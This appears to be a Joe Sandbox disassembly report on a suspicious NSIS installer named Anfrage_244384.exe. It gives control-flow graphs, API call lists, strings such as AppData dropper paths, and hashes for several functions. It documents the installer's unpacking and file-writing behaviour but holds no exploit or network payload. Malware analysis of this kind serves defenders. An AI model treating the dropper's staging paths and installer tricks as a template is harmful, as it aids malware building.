                                                        control_flow_graph 250 403ad5-403ae7 251 403c28-403c37 250->251 252 403aed-403af3 250->252 254 403c86-403c9b 251->254 255 403c39-403c81 GetDlgItem * 2 call 403fa8 SetClassLongA call 40140b 251->255 252->251 253 403af9-403b02 252->253 258 403b04-403b11 SetWindowPos 253->258 259 403b17-403b1a 253->259 256 403cdb-403ce0 call 403ff4 254->256 257 403c9d-403ca0 254->257 255->254 272 403ce5-403d00 256->272 261 403ca2-403cad call 401389 257->261 262 403cd3-403cd5 257->262 258->259 264 403b34-403b3a 259->264 265 403b1c-403b2e ShowWindow 259->265 261->262 283 403caf-403cce SendMessageA 261->283 262->256 271 403f75 262->271 267 403b56-403b59 264->267 268 403b3c-403b51 DestroyWindow 264->268 265->264 275 403b5b-403b67 SetWindowLongA 267->275 276 403b6c-403b72 267->276 273 403f52-403f58 268->273 280 403f77-403f7e 271->280 278 403d02-403d04 call 40140b 272->278 279 403d09-403d0f 272->279 273->271 284 403f5a-403f60 273->284 275->280 281 403c15-403c23 call 40400f 276->281 282 403b78-403b89 GetDlgItem 276->282 278->279 286 403f33-403f4c DestroyWindow EndDialog 279->286 287 403d15-403d20 279->287 281->280 289 403ba8-403bab 282->289 290 403b8b-403ba2 SendMessageA IsWindowEnabled 282->290 283->280 284->271 292 403f62-403f6b ShowWindow 284->292 286->273 287->286 288 403d26-403d73 call 405de5 call 403fa8 * 3 GetDlgItem 287->288 320 403d75-403d7a 288->320 321 403d7d-403db9 ShowWindow KiUserCallbackDispatcher call 403fca EnableWindow 288->321 294 403bb0-403bb3 289->294 295 403bad-403bae 289->295 290->271 290->289 292->271 299 403bc1-403bc6 294->299 300 403bb5-403bbb 294->300 298 403bde-403be3 call 403f81 295->298 298->281 303 403bfc-403c0f SendMessageA 299->303 305 403bc8-403bce 299->305 300->303 304 403bbd-403bbf 300->304 303->281 304->298 308 403bd0-403bd6 call 40140b 305->308 309 403be5-403bee call 40140b 305->309 316 403bdc 308->316 309->281 318 403bf0-403bfa 309->318 316->298 318->316 320->321 324 403dbb-403dbc 321->324 325 403dbe 321->325 326 403dc0-403dee GetSystemMenu EnableMenuItem SendMessageA 324->326 325->326 327 403df0-403e01 SendMessageA 326->327 328 403e03 326->328 329 403e09-403e42 call 403fdd call 405dc3 lstrlenA call 405de5 SetWindowTextA call 401389 327->329 328->329 329->272 338 403e48-403e4a 329->338 338->272 339 403e50-403e54 338->339 340 403e73-403e87 DestroyWindow 339->340 341 403e56-403e5c 339->341 340->273 342 403e8d-403eba CreateDialogParamA 340->342 341->271 343 403e62-403e68 341->343 342->273 344 403ec0-403f17 call 403fa8 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 342->344 343->272 345 403e6e 343->345 344->271 350 403f19-403f31 ShowWindow call 403ff4 344->350 345->271 350->273
                                                        APIs
                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B11
                                                        • ShowWindow.USER32(?), ref: 00403B2E
                                                        • DestroyWindow.USER32 ref: 00403B42
                                                        • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403B5E
                                                        • GetDlgItem.USER32(?,?), ref: 00403B7F
                                                        • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B93
                                                        • IsWindowEnabled.USER32(00000000), ref: 00403B9A
                                                        • GetDlgItem.USER32(?,00000001), ref: 00403C48
                                                        • GetDlgItem.USER32(?,00000002), ref: 00403C52
                                                        • SetClassLongA.USER32(?,000000F2,?), ref: 00403C6C
                                                        • SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403CBD
                                                        • GetDlgItem.USER32(?,00000003), ref: 00403D63
                                                        • ShowWindow.USER32(00000000,?), ref: 00403D84
                                                        • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D96
                                                        • EnableWindow.USER32(?,?), ref: 00403DB1
                                                        • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DC7
                                                        • EnableMenuItem.USER32(00000000), ref: 00403DCE
                                                        • SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DE6
                                                        • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403DF9
                                                        • lstrlenA.KERNEL32(0042A868,?,0042A868,Debutromaners241 Setup), ref: 00403E22
                                                        • SetWindowTextA.USER32(?,0042A868), ref: 00403E31
                                                        • ShowWindow.USER32(?,0000000A), ref: 00403F65
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                        • String ID: Debutromaners241 Setup
                                                        • API String ID: 3282139019-3432080052
                                                        • Opcode ID: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                        • Instruction ID: dc7e82238fa4606f4707b849198a3fa7e113026ae2232510f5cb024fb41842d5
                                                        • Opcode Fuzzy Hash: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                        • Instruction Fuzzy Hash: 89C1AF71604605ABDB206F22EE45E2B3EBCEB4570AF40053EF642B11F1CB79A942DB1D
                                                        Function 00403743 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 353 403743-40375b call 40615c 356 40375d-40376d call 405d21 353->356 357 40376f-4037a0 call 405caa 353->357 366 4037c3-4037ec call 403a08 call 405923 356->366 362 4037a2-4037b3 call 405caa 357->362 363 4037b8-4037be lstrcatA 357->363 362->363 363->366 371 4037f2-4037f7 366->371 372 403873-40387b call 405923 366->372 371->372 374 4037f9-403811 call 405caa 371->374 378 403889-4038ae LoadImageA 372->378 379 40387d-403884 call 405de5 372->379 377 403816-40381d 374->377 377->372 380 40381f-403821 377->380 382 4038b0-4038e0 RegisterClassA 378->382 383 40392f-403937 call 40140b 378->383 379->378 384 403832-40383e lstrlenA 380->384 385 403823-403830 call 405860 380->385 386 4038e6-40392a SystemParametersInfoA CreateWindowExA 382->386 387 4039fe 382->387 396 403941-40394c call 403a08 383->396 397 403939-40393c 383->397 391 403840-40384e lstrcmpiA 384->391 392 403866-40386e call 405835 call 405dc3 384->392 385->384 386->383 390 403a00-403a07 387->390 391->392 395 403850-40385a GetFileAttributesA 391->395 392->372 399 403860-403861 call 40587c 395->399 400 40385c-40385e 395->400 406 403952-40396c ShowWindow call 4060ee 396->406 407 4039d5-4039dd call 4050ae 396->407 397->390 399->392 400->392 400->399 412 403978-40398a GetClassInfoA 406->412 413 40396e-403973 call 4060ee 406->413 414 4039f7-4039f9 call 40140b 407->414 415 4039df-4039e5 407->415 418 4039a2-4039c5 DialogBoxParamA call 40140b 412->418 419 40398c-40399c GetClassInfoA RegisterClassA 412->419 413->412 414->387 415->397 420 4039eb-4039f2 call 40140b 415->420 424 4039ca-4039d3 call 403693 418->424 419->418 420->397 424->390
                                                        APIs
                                                          • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                        • lstrcatA.KERNEL32(1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75573410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Anfrage_244384.exe",00000000), ref: 004037BE
                                                        • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\secretaryships,1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75573410), ref: 00403833
                                                        • lstrcmpiA.KERNEL32(?,.exe), ref: 00403846
                                                        • GetFileAttributesA.KERNEL32(Call), ref: 00403851
                                                        • LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\secretaryships), ref: 0040389A
                                                          • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                        • RegisterClassA.USER32(0042EBA0), ref: 004038D7
                                                        • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004038EF
                                                        • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403924
                                                        • ShowWindow.USER32(00000005,00000000), ref: 0040395A
                                                        • GetClassInfoA.USER32(00000000,RichEdit20A,0042EBA0), ref: 00403986
                                                        • GetClassInfoA.USER32(00000000,RichEdit,0042EBA0), ref: 00403993
                                                        • RegisterClassA.USER32(0042EBA0), ref: 0040399C
                                                        • DialogBoxParamA.USER32(?,00000000,00403AD5,00000000), ref: 004039BB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                        • API String ID: 1975747703-652290458
                                                        • Opcode ID: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                        • Instruction ID: b4fd17e6ad5735db6f0d6fe5a96b28392e8485eca6c7d92ade12033e63288973
                                                        • Opcode Fuzzy Hash: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                        • Instruction Fuzzy Hash: C261D8716446407ED720BF669D45F273EACDB54749F80447FF941B22E2CBBC99028A2D
                                                        Function 00402CFA Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 427 402cfa-402d48 GetTickCount GetModuleFileNameA call 405a36 430 402d54-402d82 call 405dc3 call 40587c call 405dc3 GetFileSize 427->430 431 402d4a-402d4f 427->431 439 402d88 430->439 440 402e6f-402e7d call 402c96 430->440 432 402f2c-402f30 431->432 442 402d8d-402da4 439->442 446 402ed2-402ed7 440->446 447 402e7f-402e82 440->447 444 402da6 442->444 445 402da8-402db1 call 403145 442->445 444->445 454 402db7-402dbe 445->454 455 402ed9-402ee1 call 402c96 445->455 446->432 449 402e84-402e9c call 40315b call 403145 447->449 450 402ea6-402ed0 GlobalAlloc call 40315b call 402f33 447->450 449->446 478 402e9e-402ea4 449->478 450->446 476 402ee3-402ef4 450->476 456 402dc0-402dd4 call 4059f1 454->456 457 402e3a-402e3e 454->457 455->446 465 402e48-402e4e 456->465 474 402dd6-402ddd 456->474 464 402e40-402e47 call 402c96 457->464 457->465 464->465 467 402e50-402e5a call 4061d1 465->467 468 402e5d-402e67 465->468 467->468 468->442 475 402e6d 468->475 474->465 480 402ddf-402de6 474->480 475->440 481 402ef6 476->481 482 402efc-402f01 476->482 478->446 478->450 480->465 483 402de8-402def 480->483 481->482 484 402f02-402f08 482->484 483->465 485 402df1-402df8 483->485 484->484 486 402f0a-402f25 SetFilePointer call 4059f1 484->486 485->465 487 402dfa-402e1a 485->487 490 402f2a 486->490 487->446 489 402e20-402e24 487->489 491 402e26-402e2a 489->491 492 402e2c-402e34 489->492 490->432 491->475 491->492 492->465 493 402e36-402e38 492->493 493->465
                                                        APIs
                                                        • GetTickCount.KERNEL32 ref: 00402D0B
                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Anfrage_244384.exe,00000400), ref: 00402D27
                                                          • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                          • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        • GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00402D73
                                                        Strings
                                                        • Inst, xrefs: 00402DDF
                                                        • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00402CFA
                                                        • C:\Users\user\Desktop\Anfrage_244384.exe, xrefs: 00402D11, 00402D20, 00402D34, 00402D54
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00402D01
                                                        • C:\Users\user\Desktop, xrefs: 00402D55, 00402D5A, 00402D60
                                                        • Null, xrefs: 00402DF1
                                                        • Error launching installer, xrefs: 00402D4A
                                                        • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED2
                                                        • soft, xrefs: 00402DE8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                        • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage_244384.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                        • API String ID: 4283519449-4189011655
                                                        • Opcode ID: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                        • Instruction ID: d5918a9216ca672954190790a9c5efd9bc82950644bb13a7859279fc2a8a748f
                                                        • Opcode Fuzzy Hash: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                        • Instruction Fuzzy Hash: 9F51EB71940215ABDB20AF64DE89B9F7BB8EB14355F50403BF900B72D1C7B88D858BAD
                                                        Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 825 401759-40177c call 402ace call 4058a2 830 401786-401798 call 405dc3 call 405835 lstrcatA 825->830 831 40177e-401784 call 405dc3 825->831 836 40179d-4017a3 call 40602e 830->836 831->836 841 4017a8-4017ac 836->841 842 4017ae-4017b8 call 4060c7 841->842 843 4017df-4017e2 841->843 850 4017ca-4017dc 842->850 851 4017ba-4017c8 CompareFileTime 842->851 845 4017e4-4017e5 call 405a11 843->845 846 4017ea-401806 call 405a36 843->846 845->846 853 401808-40180b 846->853 854 40187e-4018a7 call 404fdc call 402f33 846->854 850->843 851->850 855 401860-40186a call 404fdc 853->855 856 40180d-40184f call 405dc3 * 2 call 405de5 call 405dc3 call 4055b9 853->856 868 4018a9-4018ad 854->868 869 4018af-4018bb SetFileTime 854->869 866 401873-401879 855->866 856->841 889 401855-401856 856->889 870 402967 866->870 868->869 872 4018c1-4018cc CloseHandle 868->872 869->872 873 402969-40296d 870->873 875 4018d2-4018d5 872->875 876 40295e-402961 872->876 878 4018d7-4018e8 call 405de5 lstrcatA 875->878 879 4018ea-4018ed call 405de5 875->879 876->870 883 4018f2-4022e2 call 4055b9 878->883 879->883 883->873 889->866 891 401858-401859 889->891 891->855
                                                        APIs
                                                        • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,00000031), ref: 00401798
                                                        • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,00000031), ref: 004017C2
                                                          • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Debutromaners241 Setup,NSIS Error), ref: 00405DD0
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,755723A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,755723A0), ref: 00405038
                                                          • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsd5416.tmp$C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dll$C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes$Call
                                                        • API String ID: 1941528284-708026674
                                                        • Opcode ID: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                        • Instruction ID: 615a3562c55b05fa993605831867e42c155a1137a6b97b034e6d1829953e469f
                                                        • Opcode Fuzzy Hash: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                        • Instruction Fuzzy Hash: E541D572910515BBCF107BB5DC49EAF3679EF05368F20823BF121B20E1D67C8A518A6D
                                                        Function 00402F33 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 892 402f33-402f47 893 402f50-402f59 892->893 894 402f49 892->894 895 402f62-402f67 893->895 896 402f5b 893->896 894->893 897 402f77-402f84 call 403145 895->897 898 402f69-402f72 call 40315b 895->898 896->895 902 403133 897->902 903 402f8a-402f8e 897->903 898->897 904 403135-403136 902->904 905 402f94-402fdd GetTickCount 903->905 906 4030de-4030e0 903->906 909 40313e-403142 904->909 910 402fe3-402feb 905->910 911 40313b 905->911 907 403120-403123 906->907 908 4030e2-4030e5 906->908 912 403125 907->912 913 403128-403131 call 403145 907->913 908->911 914 4030e7 908->914 915 402ff0-402ffe call 403145 910->915 916 402fed 910->916 911->909 912->913 913->902 926 403138 913->926 919 4030ea-4030f0 914->919 915->902 925 403004-40300d 915->925 916->915 922 4030f2 919->922 923 4030f4-403102 call 403145 919->923 922->923 923->902 929 403104-403110 call 405add 923->929 928 403013-403033 call 40623f 925->928 926->911 934 4030d6-4030d8 928->934 935 403039-40304c GetTickCount 928->935 936 403112-40311c 929->936 937 4030da-4030dc 929->937 934->904 938 403091-403093 935->938 939 40304e-403056 935->939 936->919 940 40311e 936->940 937->904 943 403095-403099 938->943 944 4030ca-4030ce 938->944 941 403058-40305c 939->941 942 40305e-40308e MulDiv wsprintfA call 404fdc 939->942 940->911 941->938 941->942 942->938 947 4030b0-4030bb 943->947 948 40309b-4030a2 call 405add 943->948 944->910 945 4030d4 944->945 945->911 950 4030be-4030c2 947->950 952 4030a7-4030a9 948->952 950->928 953 4030c8 950->953 952->937 954 4030ab-4030ae 952->954 953->911 954->950
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CountTick$wsprintf
                                                        • String ID: TA$ TA$... %d%%$;mA
                                                        • API String ID: 551687249-2794615820
                                                        • Opcode ID: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                        • Instruction ID: 17fda0b725f1c36f5789cb51541ed76e7f3e8dd53de897cd261334f9a9fb1752
                                                        • Opcode Fuzzy Hash: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                        • Instruction Fuzzy Hash: 4F519D71901219DBCB10DF65DA44B9E7BB8EF08366F10813BE810B72D0D7789A41CBAD
                                                        Function 004054A2 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 955 4054a2-4054ed CreateDirectoryA 956 4054f3-405500 GetLastError 955->956 957 4054ef-4054f1 955->957 958 40551a-40551c 956->958 959 405502-405516 SetFileSecurityA 956->959 957->958 959->957 960 405518 GetLastError 959->960 960->958
                                                        APIs
                                                        • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                        • GetLastError.KERNEL32 ref: 004054F9
                                                        • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040550E
                                                        • GetLastError.KERNEL32 ref: 00405518
                                                        Strings
                                                        • C:\Users\user\Desktop, xrefs: 004054A2
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 004054C8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                        • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
                                                        • API String ID: 3449924974-1326413622
                                                        • Opcode ID: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                        • Instruction ID: 8f3a1ad4c11c26192a8320527681c6b281dda8cd8d23604747c1fe251039353f
                                                        • Opcode Fuzzy Hash: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                        • Instruction Fuzzy Hash: 2101E571D10619EADF119FA4CA047EFBFB8EB14355F00403AD945B6180D77896488FA9
                                                        Function 004060EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 961 4060ee-40610e GetSystemDirectoryA 962 406110 961->962 963 406112-406114 961->963 962->963 964 406124-406126 963->964 965 406116-40611e 963->965 967 406127-406159 wsprintfA LoadLibraryExA 964->967 965->964 966 406120-406122 965->966 966->967
                                                        APIs
                                                        • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                        • wsprintfA.USER32 ref: 0040613E
                                                        • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DirectoryLibraryLoadSystemwsprintf
                                                        • String ID: %s%s.dll$UXTHEME$\
                                                        • API String ID: 2200240437-4240819195
